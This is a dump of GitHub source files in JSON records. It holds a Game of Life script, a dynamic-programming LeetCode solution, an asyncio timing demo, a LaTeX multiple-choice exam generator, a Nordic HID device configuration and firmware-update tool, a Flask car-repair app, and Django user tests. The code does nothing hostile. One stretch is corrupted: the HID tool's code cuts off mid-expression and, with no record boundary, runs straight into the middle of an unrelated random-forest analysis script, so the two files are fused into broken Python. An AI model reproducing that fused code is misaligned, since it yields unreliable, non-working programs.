+{"seq_id":"34361041059","text":"########################################\r\n# Challenge 165E: ASCII Game of Life #\r\n# Date: June 13, 2014 #\r\n########################################\nimport random\r\nimport os\r\nimport time\n\ngridsize = int(input(\">\"))\ngrid = [[0 for x in range(gridsize)] for i in range(gridsize)]\n\nclass Cell(object):\n def __init__(self, x, y, active, gridsize):\n self.x = x\n self.y = y\n self.active = active\n self.activeNeighbors = 9\n self.activeOnUpdate = active\n self.neighbors = [[x-1, y-1], [x, y-1], [x+1, y-1],\n [x-1, y], [x+1, y],\n [x-1, y+1], [x, y+1], [x+1, y+1]]\n for i in range(8):\n for i2 in range(2):\n if self.neighbors[i][i2] == gridsize:\n self.neighbors[i][i2] = 0\n\n def iterate(self, grid):\n activeNeighbors = 0\n for i in range(8):\n if grid[self.neighbors[i][1]][self.neighbors[i][0]].active:\n activeNeighbors += 1\n \n self.activeNeighbors = activeNeighbors\n if activeNeighbors < 2 or activeNeighbors > 3:\r\n self.activeOnUpdate = False\n elif activeNeighbors == 3:\r\n self.activeOnUpdate = True\n\n def update(self):\n self.active = self.activeOnUpdate\n\n\ndef initGrid(gridsize, grid):\n x = 0\n y = 0\n for i in range(gridsize**2):\n if x == gridsize:\n x = 0\n y += 1\n if y == gridsize:\n break\n if random.randint(0, 6) == 1:\r\n state = True\n else:\r\n state = False\r\n\n # Because console prints line by line (each line being a Y coord), Y must be first\n grid[y][x] = Cell(x, y, state, gridsize)\n x += 1\r\n\r\n\ndef drawGrid(grid):\n os.system('cls')\n y = 0\n for j in grid:\n for o in j:\n if o.y != y:\n print(\"\\n\", end='')\n y = o.y\n if o.active:\r\n print('#', end='')\n else:\r\n print(\",\", end='')\n print('')\n\n\r\ndef updateGrid(grid):\n for j in grid:\n for o in j:\n o.iterate(grid)\n for j in grid:\n for o in j:\n o.update()\r\n\ninitGrid(gridsize, grid)\nwhile 1:\n drawGrid(grid)\n updateGrid(grid)\n time.sleep(.08)\n","repo_name":"Portersson/DailyProgrammer","sub_path":"dailyprogrammer_165E.py","file_name":"dailyprogrammer_165E.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26961706555","text":"\"\"\"\n221. Maximal Square\n\nGiven a 2D binary matrix filled with 0's and 1's, find the largest square containing only 1's and return its area.\n\nFor example, given the following matrix:\n\n1 0 1 0 0\n1 0 1 1 1\n1 1 1 1 1\n1 0 0 1 0\nReturn 4.\nCredits:\nSpecial thanks to @Freezen for adding this problem and creating all test cases.\n\nHide Company Tags Apple Airbnb Facebook\nHide Tags Dynamic Programming\nHide Similar Problems (H) Maximal Rectangle\n\n\"\"\"\n# LUP dp[iu][j] represents the length of the square\n# whose lower-right corner is located at (i, j)\nclass Solution(object):\n def maximalSquare(self, matrix):\n \"\"\"\n :type matrix: List[List[str]]\n :rtype: int\n \"\"\"\n if not matrix:\n return 0\n dp, maxer = [[0]*(len(matrix[0])+1) for i in range(len(matrix)+1)], 0\n for i in range(1, len(matrix)+1):\n for j in range(1, len(matrix[0])+1):\n if matrix[i-1][j-1]=='1':\n dp[i][j] = min(dp[i-1][j-1], dp[i][j-1], dp[i-1][j]) + 1\n maxer = max(maxer, dp[i][j])\n\n return maxer*maxer\n","repo_name":"tejamupparaju/LeetCode_Python","sub_path":"leet_code228.py","file_name":"leet_code228.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26080467933","text":"import asyncio\nimport time\n\nfrom time_decorator import async_timed\n\n\n@async_timed()\nasync def main():\n task1 = asyncio.create_task(delay(2))\n task2 = asyncio.create_task(delay(3))\n await task1\n await task2\n\n\n@async_timed()\nasync def delay(s: int) -> int:\n print(f'Sleeping for {s} second(s)')\n await asyncio.sleep(s)\n print(f'{s}-second nap complete.')\n return s\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","repo_name":"damiansp/completePython","sub_path":"concurrency/asyncio/02_basics/timing.py","file_name":"timing.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29844679010","text":"#!/usr/bin/env python3\n### GLOBAL DECLARATIONS\n### All text after %%% sign will go to comments in LaTeX-based AMC\n\n### imports\n\nimport sys\nimport os.path\nimport time\nimport urllib.request as ulr\n\n### logging function\n\n\ndef logFileF(strToLog, n = 0, date = True, zone = False):\n \n with open('log.txt', 'a+') as logFile:\n \n timeZone = ' - ' + time.strftime(\"%z - %Z\") if zone else '' \n dateStr = '***' + time.strftime(\"%H:%M:%S\") + timeZone + '\\n' if date else ''\n newLine = '\\n'\n logFile.write(dateStr + strToLog + newLine * n)\n \n\n### inputs for test\nlogFileF('~~~Date: ' + time.strftime('%Y %B %d %A'), 1, zone = True)\n\nwhile True:\n \n copyNumber = input(\"How many copies will you need? \")\n if int(copyNumber):\n \n break\n else:\n \n print(\"Wrong value. Should be a number, not a string\")\n \n### date processing\nmonthList = ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec')\nmonths31 = (0,2,4,6,7,9,11)\nmonths30 = (3,7,8,10)\n\ndateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n\nwhile True:\n \n try:\n \n dateCheck = int(dateOfTest)\n except:\n \n print(\"Wrong value. Should be a number, e.g. 20201231\")\n dateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n else:\n \n if dateCheck >= 20000101 and dateCheck <= 20991231:\n \n yearInt = int(dateOfTest[:4])\n monthInt = int(dateOfTest[4:6])\n dayInt = int(dateOfTest[6:])\n\n if monthInt < 13 and monthInt > 0:\n \n month = monthInt - 1\n if dayInt > 0 and ((month in months30 and dayInt < 31) or\\\n (month in months31 and dayInt < 32) or (month == 1 and\\\n yearInt % 4 == 0 and dayInt < 30) or (month == 1 and yearInt\\\n % 4 != 0 and dayInt < 29)):\n \n day = dayInt\n break\n else:\n \n print(\"Wrong date format! Revise the date.\")\n else:\n \n print(\"Wrong date format! Revise the month.\")\n else:\n \n print(\"Wrong date format! Revise the date.\")\n \n dateOfTest = input(\"Enter the date of the exam in the format YYYYMMDD: \")\n\ndateOfTestM = monthList[month] + \" \" + str(day) + \", \" + str(yearInt)\n\n### exam name to put on answer sheet\nexamName = input(\"Please name your exam (if two lines needed place two backslash \\\\\\\\ on the linebreak): \")\n\n### set up ID of a student\nstudentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n\nwhile True:\n \n try:\n \n studentId = int(studentIdNumber)\n except:\n \n print(\"Wrong value. Should be a number, not a string\")\n studentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n else:\n \n if studentId >= 2 and studentId <= 30:\n \n break\n else:\n \n print(\"Error! Should be between 2 and 30 digits\")\n studentIdNumber = input(\"How many digits are in student ID number? (2-30 digits allowed): \")\n\n### check if there are multiple correct choice questions, so that a special sign is put before the question\nyess = ['y', 'yes']\naskMult = input(\"Will you have any multiple correct choice answers? (y/n): \")\naskMult = askMult.lower()\nmultSymbole = '\\\\begin{flushleft}\\n {\\\\bf Questions using the sign \\\\multiSymbole{} have several correct answers. Negative marking (-0.25 point) is applied to this question}\\n\\\\\\[1.5\\\\baselineskip]\\n\\\\end{flushleft}' if askMult in yess else ''\n\n### indicate if you want \"None of the above\" option\n\nindicMulti = input(\"Do you want to have 'None of these answers are correct' option?: \")\nindicateMulti = 'completemulti,' if indicMulti.lower() in yess else ''\n\n### declarations\n\nquizFile = open('Qs.txt', encoding = \"utf8\") \nquizQs = [each.strip() for each in quizFile if len(each) > 1]\nquizFile.close()\noutfile = open('prcssdQs.txt', 'wt', encoding = \"utf8\")\n\ncount = 1\nquestionNumber = '1'\ncolumnNum = '5'\n\nlogFileF(' Exam name: ' + examName + '\\n Exam date: ' + dateOfTestM + '\\n Exam copies Number: ' + copyNumber + '\\n Exam ID number digits: ' + studentIdNumber + '\\n Exam multiple correct choice: ' + str(askMult in yess) + '\\n', 1)\nlogFileF('... imports and script declarations are successful\\n')\n\n### Preparing the questions for LaTeX\n\nprohibSymbs = ['\\\\', '%', '$', '{', '_', '|', '™', '£', '#', '&', '}', '§', '<', '®', '©', '°', '>', '~', '^', 'ULINEDSPACE']\nescSymbs = ['\\\\\\\\', '\\\\%', '\\\\$', '\\\\{', '\\\\_', '\\\\textbar', '\\\\texttrademark', '\\\\pounds', '\\\\#', '\\\\&', '\\\\}', '\\\\S', '\\\\txtless', '\\\\textregistered', '\\\\copyright', '\\\\textdegree', '\\\\textgreater', '\\\\~{}', '\\\\^{}', '\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_\\\\_']\n\nfor every in range(len(quizQs)):\n tempProhib = []\n for each in range(len(prohibSymbs)):\n if prohibSymbs[each] in quizQs[every]:\n quizQs[every] = quizQs[every].replace(prohibSymbs[each], escSymbs[each])\n if prohibSymbs[each] not in tempProhib:\n tempProhib.append(prohibSymbs[each])\nlogFileF('... replaced LaTeX-prohibited characters: ' + ', '.join(tempProhib) + '\\n', date = False)\n\n### FUNCTIONS\n\n### function to number the question\n\ndef questNum():\n global count\n if count < 10:\n questNum = \"q00\" + str(count)\n elif count >= 100:\n questNum = \"q\" + str(count)\n else:\n questNum = \"q0\" + str(count)\n count += 1\n return questNum\n\n### function to start the question\n\ndef outfileBeg(argQuizMulti, qmult = '', horiz = False):\n global columnNum\n global questionNumber\n questionNumber = questNum()\n horizLine = ' \\\\begin{multicols}{' + columnNum + '}\\n' if horiz else ''\n outfile.writelines('\\\\element{general}{\\n \\\\begin{question' + qmult + '}{' + questionNumber + qmult + '}\\n ' + argQuizMulti + '\\n' + horizLine + ' \\\\begin{choices}\\n\\\\scoring{p=0}\\n')\n\n### function to finish the question\n\ndef outfileEnding(qmult = '', horiz = False):\n horizLine = ' \\\\end{multicols}\\n' if horiz else ''\n outfile.writelines(' \\\\end{choices}\\n' + horizLine + ' \\\\end{question' + qmult + '}\\n} % element\\n')\n\n### functions for correct and wrong answers\n\ndef correctChoice(choice, qmqN):\n outfile.writelines(' \\\\correctchoice{' + choice + '}\\\\scoring{b=' + qmqN + '}\\n')\n\ndef wrongChoice(choice):\n outfile.writelines(' \\\\wrongchoice{' + choice + '}\\\\scoring{b=0,m=-0.25}\\n')\n\n### function to code column number\n\ndef columnNumber(value):\n global columnNum\n global questionNumber\n try:\n int(value)\n columnNum = value\n except:\n thisIsSparta = int(questionNumber[1:]) + 1\n if thisIsSparta < 10:\n questNumb = \"q00\" + str(thisIsSparta)\n elif thisIsSparta >= 100:\n questNumb = \"q\" + str(thisIsSparta)\n else:\n questNumb = \"q0\" + str(thisIsSparta)\n print('The question ' + questNumb + ' will have the default number of columns - 5')\n\nlogFileF('... function declarations are successful\\n', date = False)\n\n### FIRST PART OF AMC FILE\n\noutfile.writelines('''%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\\\\documentclass[a4paper,11pt]{article}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Declaring packages\n\\\\usepackage[utf8x]{inputenc}\n\\\\usepackage[T1]{fontenc}\n\\\\usepackage[box,''' + indicateMulti + '''separateanswersheet]{automultiplechoice}\n\\\\usepackage{graphicx}\n\\\\graphicspath{{.//}}\n\\\\usepackage{multicol}\n\\\\usepackage{textcomp}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Starting of the document\n\\\\begin{document}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Student's name part\n\\\\hfill\n \\\\fbox{\n \\\\begin{minipage}{.5\\\\linewidth}\n Firstname and lastname:\\\\\\\\\n \\\\vspace*{.1cm}\\\\dotfill\n \\\\vspace*{1mm}\n \\\\end{minipage}\n } % fbox\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Document properties\n\\\\AMCrandomseed{1237893}\n\\\\def\\\\AMCformQuestion#1{\\\\vspace{\\\\AMCformVSpace}\\\\par{\\\\bf Q#1:} }\n\\\\AMCformVSpace=0.3ex\n\\\\AMCformHSpace=0.3ex\n\\\\setdefaultgroupmode{withoutreplacement}\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%% Grouping the questions-answers\\n\\n''')\nlogFileF('... LaTeX header is written successfully\\n', 1, date = False)\n\n### QUESTIONS LOOP\n\n### loop for simple questions\ncountTemp = 0\nwhile len(quizQs) > 0:\n qmqNAnsw = '1'\n temp = []\n countTemp += 1 \n countTempStr = str(countTemp)\n for each in range(len(quizQs)):\n if each == 0:\n temp.append(quizQs[0])\n elif quizQs[each].startswith('+++') or quizQs[each].startswith('---'):\n temp.append(quizQs[each])\n else:\n break\n print('Question number {} is being processed'.format(countTemp))\n logFileF('...Question ' + countTempStr + ' is being processed\\n')\n \n for each in range(len(temp)):\n if temp[each].startswith('qqq'):\n outfileBeg(temp[each][3:])\n time.sleep(0.1)\n print('...question body added')\n logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n elif temp[each].startswith('qm'):\n qmqNAnsw = str(round(1/int(temp[each][2]), 6))\n outfileBeg(temp[each][3:], 'mult')\n time.sleep(0.1)\n print('...question body added')\n logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n elif temp[each].startswith('qh'):\n columnNumber(temp[each][2])\n outfileBeg(temp[each][3:], horiz = True)\n time.sleep(0.1)\n print('...question body added')\n logFileF('...qestion ' + countTempStr + ' body added\\n', date = False)\n elif temp[each].startswith('+++'):\n correctChoice(temp[each][3:], qmqNAnsw)\n time.sleep(0.1)\n print('...correct answer added')\n logFileF('...correct answer to qestion ' + countTempStr + ' added\\n', date = False)\n elif temp[each].startswith('---'):\n wrongChoice(temp[each][3:])\n time.sleep(0.1)\n print('...incorrect answer added')\n logFileF('...incorrect answer to qestion ' + countTempStr + ' added\\n', date = False)\n else:\n time.sleep(0.1)\n print('...unnecessary ' + temp[each] + ' stuff removed')\n logFileF('...trash ' + temp[each] + ' is disposed of\\n', date = False)\n continue\n if temp[0].startswith('qqq'):\n outfileEnding()\n elif temp[0].startswith('qm'):\n outfileEnding('mult')\n elif temp[0].startswith('qh'):\n outfileEnding(horiz = True)\n print('Question number {} was processed successfully'.format(countTemp))\n logFileF('...Question ' + countTempStr + ' processed successfully\\n', 1, date = False)\n time.sleep(0.1)\n for each in range(len(temp)):\n quizQs.pop(0)\n\n### LAST PART OF AMC FILE\n\noutfile.writelines('''\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n%%% Actual test sheets\n\\\\onecopy{''' + copyNumber + '''}{\n %%% Beginning of the test sheet header\n %%% Exam Name\n \\\\begin{flushleft}\n {\\\\bf ''' + examName + '''}\n \\\\end{flushleft}\n %%% Exam Date\n \\\\begin{minipage}{.4\\\\linewidth}\n \\\\bf '''+ dateOfTestM + ''' %date if needed\n \\\\end{minipage}\n \\\\vspace{1ex}''' + multSymbole + '''\\n\n %%% Questions\n \\\\insertgroup{general}\n \\\\AMCcleardoublepage \n %%% Use either \\\\clearpage or \\\\AMCcleardoublepage options. Double page will result in even number of pages for questions, so that you can print out questions double-sided and answer sheets separately\n %%% Beginning of the answer sheet\n \\\\AMCformBegin{\n %%% Student ID number\n \\\\AMCcode{etu}{''' + studentIdNumber + '''} \n \\\\begin{minipage}[b]{9cm}\n \\\\includegraphics[width=8cm]{wrongCorrect.png}\\\\\\\\ % Wrong and correct filling of the sheet\n $\\\\leftarrow{}$\\\\hspace{0pt plus 2cm} please encode your student number in the boxes to the left,\n and write your first and last names below.$\\\\downarrow{}$\\\\hspace{0pt plus 1cm} \\\\vspace*{.2cm}\n \\\\vspace{1ex}\n \\\\hfill\\\\namefield{\n \\\\fbox{\n \\\\begin{minipage}{.9\\\\linewidth}\n First name and last name:\\\\\\\\\n \\\\vspace*{.1cm}\\\\dotfill\n \\\\vspace*{0.5mm}\n \\\\end{minipage}\n } % fbox\n } % namefield\n \\\\hfill\\\\vspace{5ex}\\\\end{minipage}\\\\hspace*{\\\\fill}\n } % \\\\AMCformBegin\n %%% Beginning of the answer sheet body \n \\\\begin{center}\n \\\\bf\\\\normalsize Answers must be given exclusively on this sheet:\n answers given on the other sheets will be ignored.\n \\\\end{center}\n %%% Ending of the answer sheet\n \\\\begin{multicols}{2}\n \\\\AMCform\n \\\\end{multicols}\n \\\\AMCcleardoublepage \n} % onecopy\n\\\\end{document}''')\nlogFileF('...LaTeX footer is written successfully\\n', 1)\n\n### Finalised programme\n\noutfile.close()\n\n# try:\n# url = 'https://github.com/mirakklys/python_for_AMC/raw/master/source/wrongCorrect.png'\n# ulr.urlretrieve(url, 'wrongCorrect.png')\n# print('I\\'ve downloaded !wrongCorrect.png!\\n Placed in the final test folder')\n# logFileF('...wrongCorrect.png image file is downloaded successfully\\n')\n\n# except:\n# pathForPNG = os.getcwd()\n# print('I couldn\\'t download !wrongCorrect.png! from the GitHub, download it manually from https://github.com/mirakklys/python_for_AMC/blob/master/wrongCorrect.png and place in the final test folder')\n# logFileF('...Couldn\\'t download the file to ' + pathForPNG)\n \nlogFileF('\\n~~~Writing to file finished, all files are closed\\n\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\\n', date = False)\n","repo_name":"mirakklys/python_for_AMC","sub_path":"source/python_for_AMC.py","file_name":"python_for_AMC.py","file_ext":"py","file_size_in_byte":13183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7459932852","text":"import os\nimport sys\nimport hid\nimport struct\nimport time\nimport zlib\n\nimport argparse\nimport logging\nimport collections\n\nfrom enum import IntEnum\n\nREPORT_ID = 5\nREPORT_SIZE = 30\nEVENT_DATA_LEN_MAX = REPORT_SIZE - 6\n\nTYPE_FIELD_POS = 0\nGROUP_FIELD_POS = 6\nEVENT_GROUP_SETUP = 0x1\nEVENT_GROUP_DFU = 0x2\n\nMOD_FIELD_POS = 3\nSETUP_MODULE_SENSOR = 0x1\nSETUP_MODULE_LED = 0x1\n\nOPT_FIELD_POS = 0\nSENSOR_OPT_CPI = 0x0\nSENSOR_OPT_DOWNSHIFT_RUN = 0x1\nSENSOR_OPT_DOWNSHIFT_REST1 = 0x2\nSENSOR_OPT_DOWNSHIFT_REST2 = 0x3\n\nDFU_START = 0x0\nDFU_DATA = 0x1\nDFU_SYNC = 0x2\nDFU_REBOOT = 0x3\nDFU_IMGINFO = 0x4\n\nFLASH_PAGE_SIZE = 4096\n\nPOLL_INTERVAL = 0.02\nPOLL_RETRY_COUNT = 200\n\nDFU_SYNC_RETRIES = 3\nDFU_SYNC_INTERVAL = 1\n\nNORDIC_VID = 0x1915\nDEVICE_PID = {\n 'desktop_mouse_nrf52832' : 0x52DA,\n 'desktop_mouse_nrf52810' : 0x52DB,\n 'gaming_mouse' : 0x52DE,\n 'keyboard' : 0x52DD,\n 'dongle' : 0x52DC,\n}\n\nclass ConfigStatus(IntEnum):\n SUCCESS = 0\n PENDING = 1\n FETCH = 2\n TIMEOUT = 3\n REJECT = 4\n WRITE_ERROR = 5\n DISCONNECTED_ERROR = 6\n FAULT = 99\n\nclass Response(object):\n def __init__(self, recipient, event_id, status, data):\n self.recipient = recipient\n self.event_id = event_id\n self.status = ConfigStatus(status)\n self.data = data\n\n def __repr__(self):\n base_str = ('Response:\\n'\n '\\trecipient 0x{:04x}\\n'\n '\\tevent_id 0x{:02x}\\n'\n '\\tstatus {}\\n').format(self.recipient,\n self.event_id,\n str(self.status))\n if self.data is None:\n data_str = '\\tno data'\n else:\n data_str = ('\\tdata_len {}\\n'\n '\\tdata {}\\n').format(len(self.data), self.data)\n\n return base_str + data_str\n\n @staticmethod\n def parse_response(response_raw):\n data_field_len = len(response_raw) - struct.calcsize(' len(data):\n logging.error('Required data not present')\n return None\n\n if data_len == 0:\n event_data = None\n else:\n event_data = data[:data_len]\n\n return Response(rcpt, event_id, status, event_data)\n\n\nConfigOption = collections.namedtuple('ConfigOption', 'range event_id help')\nSENSOR_OPTIONS = {\n 'downshift_run': ConfigOption((10, 2550), SENSOR_OPT_DOWNSHIFT_RUN, 'Time in milliseconds of switching from mode Run to Rest 1'),\n 'downshift_rest1': ConfigOption((320, 81600), SENSOR_OPT_DOWNSHIFT_REST1, 'Time in milliseconds of switching from mode Rest 1 to Rest 2.'),\n 'downshift_rest2': ConfigOption((3200, 816000), SENSOR_OPT_DOWNSHIFT_REST2, 'Time in milliseconds of switching from mode Rest 2 to Rest 3.'),\n 'cpi': ConfigOption((100, 12000), SENSOR_OPT_CPI, 'CPI resolution of a mouse sensor'),\n}\n\n\ndef progress_bar(permil):\n LENGTH = 40\n done_len = LENGTH * permil // 1000\n progress_line = '[' + '*' * done_len + '-' * (LENGTH - done_len) + ']'\n percent = permil / 10.0\n print('\\r{} {}%'.format(progress_line, percent), end='')\n\n\ndef check_range(value, value_range):\n if value > value_range[1] or value < value_range[0]:\n return False\n return True\n\n\ndef create_set_report(recipient, event_id, event_data):\n \"\"\" Function creating a report in order to set a specified configuration\n value.\n Recipient is a device product ID. \"\"\"\n\n assert(type(recipient) == int)\n assert(type(event_id) == int)\n if event_data:\n assert(type(event_data) == bytes)\n event_data_len = len(event_data)\n\n status = ConfigStatus.PENDING\n report = struct.pack('= data[\"Users\"].quantile(.50), axis=1)\n \n # train random forest\n print(\"Training random forest...\")\n forest = RandomForestClassifier(oob_score=True, max_features=\"sqrt\", n_estimators=500)\n forest.fit(data[[\"Content Length\", \"Title Length\", \"Links\", \"Verbosity\", \"Sentiment\"]], data[\"Top\"])\n print(\"\\tOOB score: \" + str(forest.oob_score_))\n print(\"\\tFeature importances: \" + str(forest.feature_importances_))\n #importance_sd = np.std([tree.feature_importances_ for tree in forest.estimators_], axis=0)\n #print(importance_sd)\n #quit()\n \n # create test set \n test_data = pd.DataFrame(list(itertools.product(np.arange(300, 2100, 100),\n np.arange(data[\"Title Length\"].min(), data[\"Title Length\"].max() + 1),\n np.arange(data[\"Links\"].min(), data[\"Links\"].max() + 1),\n np.linspace(data[\"Verbosity\"].min(), data[\"Verbosity\"].max(), 10),\n np.linspace(data[\"Sentiment\"].min(), data[\"Sentiment\"].max(), 10))))\n test_data.rename(columns={0: \"Content Length\", 1: \"Title Length\", 2: \"Links\", 3: \"Verbosity\", 4: \"Sentiment\"}, inplace=True)\n test_data[\"Prediction\"] = np.zeros(len(test_data.index))\n \n # plot marginal probabilities of articles with certain features having above-average traffic\n predict_traffic(np.arange(300, 2100, 100), \"Content Length\", test_data, forest)\n predict_traffic(np.arange(data[\"Title Length\"].min(), data[\"Title Length\"].max() + 1), \"Title Length\", test_data, forest)\n predict_traffic(np.arange(data[\"Links\"].min(), data[\"Links\"].max() + 1), \"Links\", test_data, forest)\n predict_traffic(np.linspace(data[\"Verbosity\"].min(), data[\"Verbosity\"].max(), 10), \"Verbosity\", test_data, forest)\n predict_traffic(np.linspace(data[\"Sentiment\"].min(), data[\"Sentiment\"].max(), 10), \"Sentiment\", test_data, forest)\n\n test_data.to_csv(\"../models/predictions.csv\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"nlsvrsky/organic-traffic","sub_path":"src/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"41934418641","text":"from flask import Flask, render_template, url_for, request, redirect\nfrom datebase import Database\n\napp = Flask(__name__)\ndb = Database()\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('index.html')\n\n\n@app.route('/admin/tickets', methods=['GET'])\ndef tickets():\n tickets = db.get_tickets_for_table()\n return render_template('tickets.html', tickets=tickets)\n\n\n@app.route('/admin', methods=['GET'])\ndef admin():\n autos = db.get_autos()\n name_clients = db.get_name_clients()\n tickets = db.get_tickets()\n tunning = db.get_tunnings()\n return render_template('admin.html', autos=autos, name_clients=name_clients, tickets=tickets, tunning=tunning)\n\n\n@app.route('/client', methods=['POST'])\ndef new_client():\n name = request.form['name']\n surname = request.form['surname']\n email = request.form['email']\n phone = request.form['phone']\n address = request.form['address']\n db.add_client(name, surname, email, phone, address.replace('\\n', ' '))\n return redirect('/')\n\n\n@app.route('/admin/ticket', methods=['POST'])\ndef create_ticket():\n date = request.form['date']\n client = request.form['client']\n auto_num = request.form['auto_num']\n auto = request.form['auto']\n desc = request.form['desc']\n db.create_ticket(date, client, auto_num, auto, desc)\n return redirect('/admin')\n\n@app.route('/admin/auto', methods=['POST'])\ndef create_auto():\n name = request.form['name']\n model = request.form['model']\n year = request.form['year']\n db.create_auto(name, model, year)\n return redirect('/admin')\n\n@app.route('/admin/tunning', methods=['POST'])\ndef create_tun():\n name = request.form['name']\n desc = request.form['desc']\n cost = request.form['cost']\n db.create_tunning(name, desc, cost)\n return redirect('/admin')\n\n@app.route('/admin/order', methods=['POST'])\ndef create_order():\n ticket = request.form['ticket']\n cost = request.form['cost']\n db.create_order(ticket, cost)\n return redirect('/admin')\n\n@app.route('/admin/tun_in_ticket', methods=['POST'])\ndef create_tun_in_ticket():\n ticket = request.form['ticket']\n tun = request.form['tun']\n db.add_tunning_in_ticket(tun, ticket)\n return redirect('/admin')\n\napp.run()","repo_name":"neluckoff/car_repair_site","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29030381117","text":"import pytest\n\nfrom django.test import TestCase\nfrom django.http import HttpRequest\n\nfrom intranet.audit.src.users.models import User, StatedPerson\nfrom intranet.audit.src.users.dao.user import get_user_by_request, check_stated_persons_existence\n\n\n@pytest.fixture\ndef stated_person_one(db):\n return StatedPerson.objects.create(\n id='123_GHFTHFJGJ',\n uid='123',\n login='test',\n first_name='test name',\n last_name='test last name',\n position='slave',\n department='cleaning service',\n department_slug='clean_service',\n )\n\n\n@pytest.fixture\ndef stated_person_two(db):\n return StatedPerson.objects.create(\n id='124_GHFTHFJGJFD',\n uid='124',\n login='boss login',\n first_name='test boss name',\n last_name='test boss last name',\n position='big boss',\n department='cleaning service',\n department_slug='clean_service',\n )\n\n\n@pytest.mark.usefixtures(\"dummy_yauser\")\nclass GetUserTestCase(TestCase):\n def setUp(self):\n self.request = HttpRequest()\n self.request.yauser = self.dummy_yauser\n\n def test_get_user_exists(self):\n User.objects.create(uid=self.dummy_yauser.uid, login=self.dummy_yauser.login,\n last_name=self.dummy_yauser.last_name,\n first_name=self.dummy_yauser.first_name)\n user = get_user_by_request(self.request)\n self.assertEqual(User.objects.count(), 1)\n self.assertEqual(user.uid, self.dummy_yauser.uid)\n self.assertEqual(user.login, self.dummy_yauser.login)\n\n def test_get_user_not_exists_not_save(self):\n user = get_user_by_request(self.request)\n self.assertEqual(User.objects.count(), 0)\n self.assertEqual(user.uid, self.dummy_yauser.uid)\n self.assertEqual(user.login, self.dummy_yauser.login)\n\n\ndef test_check_stated_persons_existence_not_exists(stated_person_one, stated_person_two):\n person = StatedPerson(\n uid='123',\n login='test',\n first_name='test name',\n last_name='test last name',\n position='rebel',\n department='cleaning service',\n department_slug='clean_service',\n )\n stated_persons, to_create = check_stated_persons_existence([person])\n assert len(stated_persons) == 0\n assert len(to_create) == 1\n assert to_create[0].position == person.position\n\n\ndef test_check_stated_persons_existence_exists_two(stated_person_one, stated_person_two):\n person = stated_person_one\n person1 = stated_person_two\n stated_persons, to_create = check_stated_persons_existence([person, person1])\n assert len(stated_persons) == 2\n assert stated_persons[person.uid].position == stated_person_one.position\n assert stated_persons[person1.uid].position == stated_person_two.position\n assert len(to_create) == 0\n\n\ndef test_check_stated_persons_existence_exists_one(stated_person_one, stated_person_two):\n person = stated_person_two\n person1 = StatedPerson(\n uid='123',\n login='test',\n first_name='test name',\n last_name='test last name',\n position='rebel',\n department='cleaning service',\n department_slug='clean_service',\n )\n stated_persons, to_create = check_stated_persons_existence([person, person1])\n assert len(stated_persons) == 1\n assert stated_persons[person.uid].position == stated_person_two.position\n assert stated_persons[person.uid].last_name == stated_person_two.last_name\n assert len(to_create) == 1\n assert to_create[0].position == person1.position\n assert to_create[0].last_name == person1.last_name\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/users/dao/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
